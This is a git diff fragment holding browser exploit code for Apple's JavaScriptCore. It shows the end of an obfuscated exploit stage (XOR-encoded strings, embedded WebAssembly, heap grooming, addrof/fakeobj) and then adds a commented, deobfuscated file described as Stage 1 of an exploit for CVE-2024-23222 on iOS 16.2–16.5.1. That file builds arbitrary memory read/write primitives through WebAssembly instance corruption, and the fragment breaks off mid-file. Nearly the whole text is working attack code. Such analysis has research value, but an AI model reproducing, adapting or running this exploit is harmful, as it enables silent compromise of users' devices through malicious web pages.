36, 118, 114, 32, 39, 112, 122, 117, 36, 116, 118, 116, 38, 118, 38, 117, 119, 123, 113, 39, 32, 114].map((x) => { + return String.fromCharCode(x ^ 66); + }).join("")).platformState.versionFlags.xK8SW0; + }, + o = g(n), + h = g(s); + this.Yr = -8, this.Zr = 0, this.jr = Q(o), this.kr = o, t(o, h + this.Zr), this.Qr = this.Cr.exports[this.Kr](), this.Wr = A(this._r) + globalThis.moduleManager.getModuleByName([92, 89, 91, 91, 84, 14, 12, 94, 15, 92, 88, 92, 84, 15, 12, 95, 12, 85, 11, 89, 93, 15, 8, 95, 85, 90, 11, 91, 89, 91, 9, 89, 9, 90, 88, 84, 94, 8, 15, 93].map((x) => { + return String.fromCharCode(x ^ 109); + }).join("")).platformState.versionFlags.fGOrHX, e(); + } + cleanup() { + const A = JSON.parse([111, 4, 105].map((x) => { + return String.fromCharCode(x ^ 52); + }).join("")), + t = JSON.parse([18, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 101, 105, 121, 103, 120, 20].map((x) => { + return String.fromCharCode(x ^ 73); + }).join("")); + A[0] = !1, t[0] = 1.2; + const Q = { + Fr: .1, + Lr: .2, + Rr: .3, + qr: .4 + }, + e = this.addrof(Q), + i = this.addrof(t), + r = this.addrof(A), + s = this.readRawBigInt(i + 8), + n = this.readRawBigInt(r + 8); + for (let A = 0; A < 16; A += 4) this.write32(e + 20 + A, this.read32(i + A)); + const g = utilityModule.C(Q.Lr); + this.copyBigInt(n, e + 20); + const o = A[0]; + A[0] = void 0, Q.Lr = utilityModule.Y(g, utilityModule._(this.kr) - platformModule.platformState.Fn), Q.Rr = utilityModule.Y(utilityModule.F(this.kr), 1751865938 ^ 1751246476), this.Cr.exports[this.Xr](this.Qr), o[0] = utilityModule.J(this.jr), Q.Lr = utilityModule.Y(g, utilityModule._(s) - platformModule.platformState.Fn), Q.Rr = utilityModule.Y(utilityModule.F(s), 1866875953 ^ 1867315439); + } + read32(A) { + return this.ri(A), this.Vr.exports[this.vr](0) >>> 0; + } + write32x2(A, t, Q) { + this.write32(A, t), this.write32(A + 4, Q); + } + write32(A, t) { + this.ri(A), this.Vr.exports[this.Hr](0 | t); + } + copyBigInt(A, t) { + this.write32(A, t >>> 0), this.write32(A + 4, t / 4294967296 >>> 0); + } + writeInt64ToOffset(A, t) { + this.write32(A, t.it), this.write32(A + 4, t.et); + } + ri(A) { + if (!1 === this.yr) { + if (A < 0x10000 || A != A) throw new Error("A < 0x10000|| A != A"); + this.Cr.exports[this.Xr](utilityModule.J(A + this.Yr)); + } else this.Cr.exports[this.Xr](utilityModule.q(A, this.Yr)); + } +} + +function Q(A, t, Q) { + A(), window.VHcWaK[1] = Q; +} +r.si = function () { + const A = 1130706244 ^ 1130706386, + t = A, + e = [17, 21, 8, 23, 10, 12, 11].map((x) => { + return String.fromCharCode(x ^ 120); + }).join(""), + i = "f", + r = 9.4306048228214e-20, + s = BigInt([8, 64, 11, 90, 94, 92, 92, 13, 1, 8, 12, 12, 11, 9, 89, 13, 92, 0].map((x) => { + return String.fromCharCode(x ^ 56); + }).join("")), + n = 0, + g = 1; + + function h(A) { + const t = new Uint8Array(A.length); + for (let Q = 0; Q < A.length; Q++) t[Q] = A.charCodeAt(Q); + return t; + } + const a = h(atob([14, 8, 9, 53, 45, 30, 10, 14, 14, 14, 14, 13, 59, 30, 6, 12, 22, 14, 14, 14, 22, 5, 22, 13].map((x) => { + return String.fromCharCode(x ^ 79); + }).join("")) + "~".repeat(1984785218 ^ 1984785364) + atob([22, 29, 63, 71].map((x) => { + return String.fromCharCode(x ^ 122); + }).join("")) + "~".repeat(825313878 ^ 825313984) + atob("Ag8BB2ltcG9ydHMDbW9kAAADAgEBBQQBAQEBBwsCA21lbQIAAWYAAQrBEAG+EABBACAAQQggAUEQIAJBGCADQSAgBEEoIAVBMCAGQTggB0HAACAIQcgAIAlB0AAgCkHYACALQeAAIAxB6AAgDUHwACAOQfgAIA9BgAEgEEGIASARQZABIBJBmAEgE0GgASAUQagBIBVBsAEgFkG4ASAXQcABIBhByAEgGUHQASAaQdgBIBtB4AEgHEHoASAdQfABIB5B+AEgH0GAAiAgQYgCICFBkAIgIkGYAiAjQaACICRBqAIgJUGwAiAmQbgCICdBwAIgKEHIAiApQdACICpB2AIgK0HgAiAsQegCIC1B8AIgLkH4AiAvQYADIDBBiAMgMUGQAyAyQZgDIDNBoAMgNEGoAyA1QbADIDZBuAMgN0HAAyA4QcgDIDlB0AMgOkHYAyA7QeADIDxB6AMgPUHwAyA+QfgDID9BgAQgQEGIBCBBQZAEIEJBmAQgQ0GgBCBEQagEIEVBsAQgRkG4BCBHQcAEIEhByAQgSUHQBCBKQdgEIEtB4AQgTEHoBCBNQfAEIE5B+AQgT0GABSBQQYgFIFFBkAUgUkGYBSBTQaAFIFRBqAUgVUGwBSBWQbgFIFdBwAUgWEHIBSBZQdAFIFpB2AUgW0HgBSBcQegFIF1B8AUgXkH4BSBfQYAGIGBBiAYgYUGQBiBiQZgGIGNBoAYgZEGoBiBlQbAGIGZBuAYgZ0HABiBoQcgGIGlB0AYgakHYBiBrQeAGIGxB6AYgbUHwBiBuQfgGIG9BgAcgcEGIByBxQZAHIHJBmAcgc0GgByB0QagHIHVBsAcgdkG4ByB3QcAHIHhByAcgeUHQByB6QdgHIHtB4AcgfEHoByB9QfAHIH5B+Acgf0GACCCAAUGICCCBAUGQCCCCAUGYCCCDAUGgCCCEAUGoCCCFAUGwCCCGAUG4CCCHAUHACCCIAUHICCCJAUHQCCCKAUHYCCCLAUHgCCCMAUHoCCCNAUHwCCCOAUH4CCCPAUGACSCQAUGICSCRAUGQCSCSAUGYCSCTAUGgCSCUAUGoCSCVAQ==") + atob([36, 29, 43, 43].map((x) => { + return String.fromCharCode(x ^ 106); + }).join("")).repeat(1650027120 ^ 1650027238) + atob("EABBACkAAEEIKQAAQRApAABBGCkAAEEgKQAAQSgpAABBMCkAAEE4KQAAQcAAKQAAQcgAKQAAQdAAKQAAQdgAKQAAQeAAKQAAQegAKQAAQfAAKQAAQfgAKQAAQYABKQAAQYgBKQAAQZABKQAAQZgBKQAAQaABKQAAQagBKQAAQbABKQAAQbgBKQAAQcABKQAAQcgBKQAAQdABKQAAQdgBKQAAQeABKQAAQegBKQAAQfABKQAAQfgBKQAAQYACKQAAQYgCKQAAQZACKQAAQZgCKQAAQaACKQAAQagCKQAAQbACKQAAQbgCKQAAQcACKQAAQcgCKQAAQdACKQAAQdgCKQAAQeACKQAAQegCKQAAQfACKQAAQfgCKQAAQYADKQAAQYgDKQAAQZADKQAAQZgDKQAAQaADKQAAQagDKQAAQbADKQAAQbgDKQAAQcADKQAAQcgDKQAAQdADKQAAQdgDKQAAQeADKQAAQegDKQAAQfADKQAAQfgDKQAAQYAEKQAAQYgEKQAAQZAEKQAAQZgEKQAAQaAEKQAAQagEKQAAQbAEKQAAQbgEKQAAQcAEKQAAQcgEKQAAQdAEKQAAQdgEKQAAQeAEKQAAQegEKQAAQfAEKQAAQfgEKQAAQYAFKQAAQYgFKQAAQZAFKQAAQZgFKQAAQaAFKQAAQagFKQAAQbAFKQAAQbgFKQAAQcAFKQAAQcgFKQAAQdAFKQAAQdgFKQAAQeAFKQAAQegFKQAAQfAFKQAAQfgFKQAAQYAGKQAAQYgGKQAAQZAGKQAAQZgGKQAAQaAGKQAAQagGKQAAQbAGKQAAQbgGKQAAQcAGKQAAQcgGKQAAQdAGKQAAQdgGKQAAQeAGKQAAQegGKQAAQfAGKQAAQfgGKQAAQYAHKQAAQYgHKQAAQZAHKQAAQZgHKQAAQaAHKQAAQagHKQAAQbAHKQAAQbgHKQAAQcAHKQAAQcgHKQAAQdAHKQAAQdgHKQAAQeAHKQAAQegHKQAAQfAHKQAAQfgHKQAAQYAIKQAAQYgIKQAAQZAIKQAAQZgIKQAAQaAIKQAAQagIKQAAQbAIKQAAQbgIKQAAQcAIKQAAQcgIKQAAQdAIKQAAQdgIKQAAQeAIKQAAQegIKQAAQfAIKQAAQfgIKQAAQYAJKQAAQYgJKQAAQZAJKQAAQZgJKQAAQaAJKQAAQagJKQAACw==")), + B = h(atob([21, 19, 18, 46, 54, 5, 17, 21, 21, 21, 21, 22, 22, 35, 30, 51, 21, 21, 22, 51, 21, 21, 21, 23, 60, 55, 21, 18, 51, 17, 21, 28, 53, 3, 101, 35, 54, 103, 30, 100, 55, 35, 26, 57, 48, 3, 96, 21, 21, 21, 105, 105].map((x) => { + return String.fromCharCode(x ^ 84); + }).join("")) + atob([52, 68, 26, 2, 21, 49, 79, 15, 18, 62, 59, 55, 55, 55, 51, 75].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")).repeat(893858670 ^ 893856913) + atob([112, 70, 120, 115, 112, 96, 82, 121, 112, 96, 123, 92, 124, 86, 114, 112, 96, 112, 94, 118, 112, 96, 96, 112, 116, 112, 112, 125].map((x) => { + return String.fromCharCode(x ^ 49); + }).join(""))), + K = h(atob([12, 10, 11, 55, 47, 28, 8, 12, 12, 12, 12, 15, 62, 42, 4, 15, 20, 7, 20, 15].map((x) => { + return String.fromCharCode(x ^ 77); + }).join("")) + "~".repeat(1331844939 ^ 1331845085) + atob([41, 34, 0, 120].map((x) => { + return String.fromCharCode(x ^ 69); + }).join("")) + "~".repeat(1734894158 ^ 1734894296) + atob([53, 40, 58, 48, 48, 40, 51, 48].map((x) => { + return String.fromCharCode(x ^ 113); + }).join("")) + atob([12, 12, 112, 112].map((x) => { + return String.fromCharCode(x ^ 77); + }).join("")).repeat(2050573361 ^ 2050556977) + atob([55, 34, 62, 49, 50, 50, 50, 78].map((x) => { + return String.fromCharCode(x ^ 115); + }).join(""))); + + function c() {} + window.VHcWaK = new Array(16).fill([]).map((A, t) => { + const Q = JSON.parse([45, 71, 88, 71, 90, 86, 71, 88, 68, 90, 86, 69, 88, 68, 43].map((x) => { + return String.fromCharCode(x ^ 118); + }).join("")); + return Q[0] = .1 + t, Q["a" + t] = t, Q; + }); + const b = function () { + const o = { + mode: n, + AA: BigInt(0), + A: !1 + }, + h = { + fun: function (t) { + const Q = new WebAssembly.Module(a), + r = new WebAssembly.Instance(Q, { + [e]: { + mod: function (t) { + t.A = !1; + const Q = new BigUint64Array(r.exports.mem.buffer); + for (let e = 0; e < A - 1; e++) + if (Q[e] === s) { + t.mode === n ? (t.A = !0, t.AA = Q[e + 1]) : t.mode === g && (t.A = !0, Q[e + 1] = t.AA); + break; + } + }.bind(null, t) + } + }); + return r.exports[i]; + }(o), + "": c + }, + b = []; + for (let A = 0; A < (1414746221 ^ 1414746521); A++) b.push(new WebAssembly.Table({ + initial: 1783847238 ^ 1783855430, + element: [93, 64, 76, 93, 74, 86, 74, 93, 94].map((x) => { + return String.fromCharCode(x ^ 56); + }).join("") + })); + for (let A = 0; A < 4; A++) b[(1380205894 ^ 1380205742) + 3 * A].grow(1786067060 ^ 1786058869); + const f = []; + for (let A = 0; A < 2; A++) f[A] = new WebAssembly.Module(B); + for (let A = 0; A < 4; A++) b[(1163475029 ^ 1163475378) + 3 * A].grow(1479889253 ^ 1479897444); + for (let A = 0; A < 1; A++) b.push(new WebAssembly.Table({ + initial: 1093890903 ^ 1093882711, + element: [92, 65, 77, 92, 75, 87, 75, 92, 95].map((x) => { + return String.fromCharCode(x ^ 57); + }).join("") + })); + const l = []; + for (let A = 0; A < 2; A++) l[A] = new WebAssembly.Module(K); + let C = null; + for (let A = 0; A < f.length; A++) try { + C = new WebAssembly.Instance(f[A], { + [e]: h + }); + break; + } catch (A) {} + if (null === C) throw new Error("null === C"); + const w = new Array(t - 2); + return { + tA: function (A) { + if (o.A = !1, o.mode = n, Q(C.exports.f2, r, A, ...w), !o.A) throw new Error("o.A = !1, o.mode = n, Q(C.exports.f2, r, A, ...w), !o.A"); + return o.AA; + }, + QA: function (A) { + if (o.A = !1, o.mode = g, o.AA = A, Q(C.exports.f2, r, null, ...w), !o.A) throw new Error("o.A = !1, o.mode = g, o.AA = A, Q(C.exports.f2, r, null, ...w), !o.A"); + } + }; + }(), + f = utilityModule.Z(1, 0, 34, 7), + l = { + a: .1, + b: .2, + c: .3, + d: .4 + }, + C = { + a: .1, + b: .1, + e: .1 + }; + C.b = new Array(2); + const w = b.tA(l), + d = b.tA(C), + u = w + BigInt(20); + const I = utilityModule.T(Number((d & BigInt(4294967296 + (1903440484 ^ -1903440485))).toString()), Number((d >> BigInt(32)).toString())), + G = new Function("b", "L2", [75, 65, 29].map((x) => { + return String.fromCharCode(x ^ 45); + }).join(""), [8, 35, 59].map((x) => { + return String.fromCharCode(x ^ 87); + }).join(""), [13, 2, 68, 76, 2, 8, 84, 77, 68, 31, 68, 6, 63, 40, 86, 57, 63, 84, 57, 68, 89, 68, 59, 16, 8, 95, 68, 22, 1, 16, 17, 22, 10, 68, 84, 95, 68, 25, 68, 1, 8, 23, 1, 68, 31, 68, 22, 1, 16, 17, 22, 10, 68, 6, 63, 40, 86, 57, 63, 84, 57, 95, 68, 25].map((x) => { + return String.fromCharCode(x ^ 100); + }).join("")); + for (let A = 0; A < (1731217207 ^ 1731314071); A++) G(window.VHcWaK, A % window.VHcWaK.length, !0, A + .1), G(window.VHcWaK, A % window.VHcWaK.length, !1, 0); + + function U(A) { + const t = utilityModule._(A), + Q = utilityModule.F(A); + l.b = utilityModule.Y(f, t - (910241864 ^ 910372936)), l.c = utilityModule.Y(Q, 2035439692 ^ 2036180915); + const e = G(window.VHcWaK, 1, !1, 0); + return utilityModule.P(e); + } + b.QA(BigInt(u)); + const H = new E(function (A) { + return C.b = A, U(I + 24); + }, function (A, t) { + const Q = utilityModule._(A), + e = utilityModule.F(A), + i = utilityModule.J(t); + l.b = utilityModule.Y(f, Q - (2053727842 ^ 2053858914)), l.c = utilityModule.Y(e, 1868713291 ^ 1869460148), G(window.VHcWaK, 1, !0, i); + }, U, function () { + window.VHcWaK[1] = null, window.VHcWaK.length = 0; + }); + platformModule.platformState.exploitPrimitive = H; + const y = new Uint32Array(4); + class Y { + constructor(A, t) { + if (A < 0 || A > 4294967296 + (1231440435 ^ -1231440436)) throw new Error("A < 0 || A > 4294967296 + (1231440435 ^ -1231440436)"); + if (t < 0 || t > 4294967296 + (2018474571 ^ -2018474572)) throw new Error("t < 0 || t > 4294967296 + (2018474571 ^ -2018474572)"); + this.ci = A, this.fi = t; + } + static null() { + return new Y(0, 0); + } + static li(A) { + const t = platformModule.platformState.exploitPrimitive.addrof(A); + return Y.ut(t); + } + static bi(A) { + const t = platformModule.platformState.exploitPrimitive.fakeobj(A); + return Y.ut(t); + } + static ut(A) { + return new Y(A >>> 0, A / 4294967296 >>> 0); + } + static L(A) { + return new Y(utilityModule.C(A), utilityModule.H(A)); + } + static ui(A) { + return new Y(A, 0); + } + static wi(A, t) { + return new Y(A, t); + } + di() { + return 4294967296 * this.fi + this.ci; + } + gi() { + return new m(this.ci, this.fi); + } + yi() { + if (0 !== this.fi) throw new Error("0 !== this.fi"); + return this.ci; + } + readRawBigInt() { + const A = platformModule.platformState.exploitPrimitive.read32(this.di()), + t = platformModule.platformState.exploitPrimitive.read32(this.di() + 4); + return new Y(A, t); + } + readString(A = 1870098266 ^ 1870098238) { + return platformModule.platformState.exploitPrimitive.readString(this.di(), A); + } + copyBigInt(A) { + platformModule.platformState.exploitPrimitive.write32(this.di(), A.ci), platformModule.platformState.exploitPrimitive.write32(this.di() + 4, A.fi); + } + Ui(A) { + platformModule.platformState.exploitPrimitive.write32(this.di(), A); + } + mi() { + return platformModule.platformState.exploitPrimitive.read32(this.di()); + } + Ai() { + return this.fi > o; + } + Ti() { + return 0 === this.ci && 0 === this.fi; + } + lt(A) { + return this.ci === A.ci && this.fi === A.fi; + } + Pi(A) { + return this.fi === A.fi ? this.ci >= A.ci : this.fi >= A.fi; + } + Si(A) { + return this.fi === A.fi ? this.ci <= A.ci : this.fi <= A.fi; + } + add(A) { + if (A instanceof Y == !1) throw new Error("A instanceof Y == !1"); + if (y[0] = this.ci, y[1] = this.ci + A.ci, y[2] = this.fi, y[3] = this.fi + A.fi, y[1] < y[0] && (y[3] += 1), y[3] < y[2]) throw new Error("y[0] = this.ci, y[1] = this.ci + A.ci, y[2] = this.fi, y[3] = this.fi + A.fi, y[1] < y[0] && (y[3] += 1), y[3] < y[2]"); + return new Y(y[1], y[3]); + } + sub(A) { + if (A instanceof Y == !1) throw new Error("A instanceof Y == !1"); + if (y[0] = this.ci, y[1] = this.ci - A.ci, y[2] = this.fi, y[3] = this.fi - A.fi, y[1] > y[0] && (y[3] -= 1), y[2] < y[3]) throw new Error("y[0] = this.ci, y[1] = this.ci - A.ci, y[2] = this.fi, y[3] = this.fi - A.fi, y[1] > y[0] && (y[3] -= 1), y[2] < y[3]"); + return new Y(y[1], y[3]); + } + H(A) { + return this.add(Y.ui(A)); + } + Bt(A) { + return this.sub(Y.ui(A)); + } + Di() { + return this.ci; + } + Ei() { + return this.fi; + } + Dt() { + return new Y(this.ci, this.fi & o); + } + toString() { + let A = this.ci.toString(16); + return this.fi && (A = this.fi.toString(16) + ([122, 122, 122, 122, 122, 122, 122, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("") + A).slice(-8)), [98, 42].map((x) => { + return String.fromCharCode(x ^ 82); + }).join("") + A; + } + } + platformModule.platformState.Ln = Y; +}; +return r; \ No newline at end of file diff --git a/Stage1_16.2_16.5.1_terrorbird.js b/Stage1_16.2_16.5.1_terrorbird.js new file mode 100644 index 0000000..075effe --- /dev/null +++ b/Stage1_16.2_16.5.1_terrorbird.js @@ -0,0 +1,1050 @@ +/** + * Stage 1: WebAssembly Memory Primitives (Deobfuscated) + * Original hash: 8c4451cf1258f9a8d6a8af27864f111fd69a0e99 + * + * This module implements the core exploit primitives for CVE-2024-23222 using + * WebAssembly memory corruption. Two WASM primitive classes provide arbitrary + * read/write capabilities by exploiting a JIT type confusion in JavaScriptCore. + * + * Key capabilities: + * - WasmPrimitive64 (J): 64-byte WASM instance for iOS >= 16.4 (64 iterations) + * - WasmPrimitive16 ($): 16-byte WASM instance for iOS < 16.4 (16 iterations) + * - Arbitrary memory read (Ki/br) and write (Hi/Bs) via WASM instance corruption + * - addrof (tA/tr) - get address of JS object, fakeobj (Mr) - create fake object + * - JIT function compilation forcing via megamorphic calls + dead-code bloat + * - Heap spray (allocateBuffers) and GC pressure (triggerJIT) for exploitation setup + * - exploitMain (L) - full exploit flow: type confusion → addrof/fakeobj → r/w primitive + * + * Module dependencies: + * - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js) + * - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js) + */ + +let r = {}; + +// ════════════════════════════════════════════════════════════════════════════ +// Module imports +// ════════════════════════════════════════════════════════════════════════════ + +const { + N: G, // toHexString + tn: W, // assert + nn: C, // TypeHelper + Vt: m, // Int64 + U: j, // toBigInt + An: S, // unsignedBigIntToNumber + vn: O, // unused/debug + v: o, // MAX_SAFE_HI32 (127) + I: u, // POINTER_MASK (0x7FFFFFFFFF) + B: s // POINTER_TAG_SHIFT (39) + } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + + /** Platform state — provides version thresholds and runtime-specific offsets */ + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + /** Utility module full reference (for Int64, conversion helpers) */ + utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); + +// ════════════════════════════════════════════════════════════════════════════ +// WasmPrimitive64 — 64-byte WASM-based read/write primitive (iOS >= 16.04) +// ════════════════════════════════════════════════════════════════════════════ + +/** + * WASM-based memory read/write primitive using a 64-byte WASM module. + * Used on iOS >= 16.4 where the WASM instance layout requires larger corruption window. + * + * The WASM module exports: + * - btl(): read function (returns bigint from corrupted memory) + * - alt(v): write function (stores bigint v to corrupted memory) + * + * Two separate WebAssembly instances are created from the same module: + * - es/ss: paired instances for read/write operations + * - The [0]=3 assignment places a JS value into WASM linear memory + * - os array is used as a GC-visible container for addrof operations + */ +class J /* WasmPrimitive64 */ { + + /** Get Int64 address of a JS object (addrof). Original: tr */ + addrof(t) { + return utilityModule.K(this.getObjectAddress(t)); + } + + /** Read a string from an Int64 address, up to `e` bytes. Original: Tr */ + readStringFromInt64(t, e = 256) { + const r = utilityModule.O(t.yt()); + return this.readString(r, e); + } + + /** Read an Int64 value from a numeric byte offset. Original: rr */ + readInt64FromOffset(t) { + const e = this.read32(utilityModule.O(t)), + r = this.read32(utilityModule.O(t + 4)); + return new utilityModule.Int64(e, r); + } + + /** Read a 32-bit value from an Int64 address. Original: ir */ + read32FromInt64(t) { + return this.read32(utilityModule.O(t.yt())); + } + + /** Read an Int64 value from an Int64 address. Original: Ur */ + readInt64FromInt64(t) { + return this.readInt64FromOffset(t.yt()); + } + + /** Write an Int64 value to a numeric offset. Original: Jr */ + writeInt64ToOffset(t, e) { + const r = utilityModule.O(t), + n = e.Nt(); + this.write64(r, n); + } + + /** + * Read a double (reinterpreted as pointer) from a numeric offset. + * If `e` is true or platform flag zohDDd is set, mask with MAX_SAFE_HI32. + * Original: Dr + */ + readDoubleAsPointer(t, e = !1) { + const r = this.read32(utilityModule.O(t)); + let n = this.read32(utilityModule.O(t + 4)); + return (!0 === e || platformModule.platformState.versionFlags.zohDDd) && (n &= o), utilityModule.T(r, n); + } + + /** Read the raw BigInt value at an Int64's byte offset. Original: nr */ + readRawBigInt(t) { + return this.readInt64FromOffset(t).yt(); + } + + /** Busy-wait spin loop (768 iterations, stepping by 8). Original: hr */ + busyWait(t, e = 768) { + for (let t = 0; t < e; t += 8); + } + + /** Copy a BigInt between two numeric offsets. Original: ti */ + copyBigInt(t, e) { + this.write64(utilityModule.O(t), utilityModule.O(e)); + } + + /** + * Get the buffer address (fakeobj) — create a fake JSObject from an ArrayBuffer + * by reading the platform-specific offset (iWQGB1) from the object header. + * Original: Mr + */ + fakeobj(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return utilityModule.K(S(this.read64(e + j(platformModule.platformState.versionFlags.iWQGB1)))); + } + + /** + * Execute callback `t` with temporary pointer overrides. + * Saves original values at each entry's .Ir offset, writes the .Zt values, + * calls t(), then restores originals. Original: Br + */ + withTempOverrides(t, ...e) { + const r = new Array(e.length + 10); + for (let t = 0; t < e.length; t++) r[t] = this.readInt64FromOffset(e[t].Ir); + try { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, e[t].Zt); + t(); + } finally { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, r[t]); + } + } + + constructor() { + /** + * WASM module bytes — this is a valid WebAssembly binary. + * Header: [0x00, 0x61, 0x73, 0x6d] = "\0asm" magic + * Version: [0x01, 0x00, 0x00, 0x00] = version 1 + * + * The module defines: + * - 2 function types (read/write signatures) + * - 1 memory (with initial/max page counts) + * - Exported functions "btl" (read) and "alt" (write) + * - Data segment with padding (0x33 fill) for corruption target + * - Multiple global variables used as read/write targets + * + * XOR-decoded bytes spell out "asm" header + "memory" + "btl" + "alt" export names. + */ + const t = new Uint8Array([ + 0, 97, 115 /* "s" */, 109 /* "m" */, 1, 0, 0, 0, // \0asm v1 + 1, 9, 2, 96, 0, 1, 126 /* i64 */, 96, 1, 126 /* i64 */, 0, + 3, 3, 2, 0, 1, + 4, 4, 1, 111 /* funcref */, 0, 1, + 5, 3, 1, 0, 1, + 6, 82, 8, // 8 globals section + 123 /* i64.const */, 1, 253, 12, // global 0: i64 with padding + 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, + 11, 126 /* i64.const */, 1, 66, + 205, 215, 182, 222, 218, 249, 234, 230, 171, 127, + 11, 123 /* i64.const */, 1, 253, 12, + 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, + 11, 111 /* f64.const */, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, + 7, 29, 4, 4, + 101, 100, 102, 121, // "edfy" — export descriptor + 3, 1, 6, + 109, 101, 109, 111, 114, 121, // "memory" + 2, 0, 3, + 98, 116, 108, // "btl" (read export) + 0, 0, 3, + 97, 108, 116, // "alt" (write export) + 0, 1, + 10, 13, 2, 4, 0, 35, 1, 11, // btl: global.get 1; end + 6, 0, 32, 0, 36, 1, 11 // alt: local.get 0; global.set 1; end + ]), + e = (t) => t.exports.btl(), + r = (t, e) => {t.exports.alt(e);}; + + this.ts = []; // GC roots to prevent collection of allocated buffers + + const n = new WebAssembly.Module(t, {}); + // Create two WASM instances — one for read, one for write + this.es = new WebAssembly.Instance(n, {}); + this.es[0] = 3; // Place JS value at index 0 (triggers type confusion) + this.rs = e.bind(null, this.es); // read from instance A + this.ns = r.bind(null, this.es); // write to instance A + + this.ss = new WebAssembly.Instance(n, {}); + this.ss[0] = 3; + this.ls = e.bind(null, this.ss); // read from instance B + this.hs = r.bind(null, this.ss); // write to instance B + + // os is a special array used for addrof: place object at [0], read address + this.os = [{}, 1, 8]; + this.os.q23 = 90; // Named property to change array storage mode + + // Scratch buffers for type punning (double <-> uint32 <-> bigint) + this.Qi = new ArrayBuffer(16); + this.fs = new Uint32Array(this.Qi); + this.cs = new BigUint64Array(this.Qi); + this.bs = new ArrayBuffer(32); + this.us = new DataView(this.bs); + + this.Oi = new C(); // TypeHelper instance + + // Warm up: 1 iteration (minimal JIT warmup for 64-byte variant) + const i = 0n; + for (let t = 0; t < 1; t++) this.rs(), this.ls(), this.ns(i), this.hs(i); + } + + /** + * Store five converted BigInt addresses for the exploit state. + * These offsets point to key data structures in the corrupted memory. + * Original: gs + */ + storeExploitState(t, e, r, n, i) { + this.ws = this.Oi.Bn(t); + this.ds = this.Oi.Bn(e); + this.ys = this.Oi.Bn(r); + this.As = this.Oi.Bn(n); + this.Us = this.Oi.Bn(i); + } + + /** No-op placeholder. Original: zr */ + cleanup() {} + + /** Write BigInt value t to instance A. Original: Wi */ + writeToInstanceA(t) {this.ns(t);} + + /** Write then read: set value t, return read result. Original: _s */ + writeAndRead(t) {return this.writeToInstanceA(t), this.ls();} + + /** Write then write: set addr t, store value e. Original: Bs */ + writeAndWrite(t, e) {return this.writeToInstanceA(t), this.hs(e);} + + /** Read a 64-bit value at BigInt address t. Original: Ki */ + read64(t) {return this.cs[0] = this.writeAndRead(t), this.cs[0];} + + /** + * Get the backing store address of a TypedArray/ArrayBuffer. + * Reads platform-specific offset oGn3OG from the object. + * Original: Ts + */ + getBackingStore(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + t instanceof DataView && (t = new Uint8Array(t.buffer)); + const e = this.getObjectAddress(t); + return S(this.read64(e + BigInt(platformModule.platformState.versionFlags.oGn3OG))); + } + + /** + * Get the JIT code pointer for a Function object. + * Reads platform-specific offset KaU4Z7 from the function. + * Original: ps + */ + getJITCodePointer(t) { + if (!(t instanceof Function)) throw new Error("!(t instanceof Function)"); + const e = this.getObjectAddress(t); + return this.read64(e + BigInt(platformModule.platformState.versionFlags.KaU4Z7)); + } + + /** + * Write a 32-bit value at a BigInt address. + * Preserves the upper 32 bits while replacing the lower 32 bits. + * Original: dr + */ + write32(t, e) { + if ("bigint" != typeof t) return this.write32(utilityModule.O(t), e); + { + const r = this.read64(t); + this.cs[0] = r; + this.fs[0] = e; + const n = this.cs[0]; + this.writeAndWrite(t, n); + } + } + + /** + * Allocate a null-terminated C string in WASM memory. + * Returns [Uint8Array, address]. + * Original: ks + */ + allocCString(t) { + const e = new Uint8Array(new ArrayBuffer(t.length + 1)); + for (let r = 0; r < t.length; r++) e[r] = t.charCodeAt(r); + return [e, this.getDataPointer(e)]; + } + + /** + * Allocate a zeroed buffer of t bytes, return its address. + * Original: Ms + */ + allocZeroBuffer(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), r; + } + + /** + * Allocate a zeroed buffer of t bytes, return [Uint8Array, address]. + * Original: Is + */ + allocZeroBufferPair(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), [e, r]; + } + + /** + * Get the data pointer (backing store + 0x10) of a typed array buffer. + * Original: Ss + */ + getDataPointer(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return S(this.read64(e + 0x10n)); + } + + /** + * Patch a single byte at BigInt address t — read the 64-bit value, replace + * byte 0 with `e`, write back. + * Original: Ps + */ + patchByte(t, e) { + this.us.setBigUint64(0, this.read64(t), !0); + this.us.setUint8(0, e, !0); + this.write64(t, this.us.getBigUint64(0, !0)); + } + + /** + * Read a null-terminated ASCII string from BigInt address t, up to e bytes. + * Original: Er + */ + readString(t, e = 768) { + let r = t; + "number" == typeof t && (r = utilityModule.O(t)); + let n = ""; + for (let t = 0; t < e; t++) { + const e = this.readByte(r + BigInt(t)); + if (0 === e) break; + n += String.fromCharCode(e); + } + return n; + } + + /** Read a single byte (& 0xFF) from BigInt address t. Original: Sr */ + readByte(t) {return 255 & this.read32(t);} + + /** Read a 32-bit value from BigInt or number address. Original: br */ + read32(t) { + return "bigint" == typeof t ? ( + this.cs[0] = this.writeAndRead(t), this.fs[0]) : + this.read32(utilityModule.O(t)); + } + + /** Write a 64-bit BigInt value at 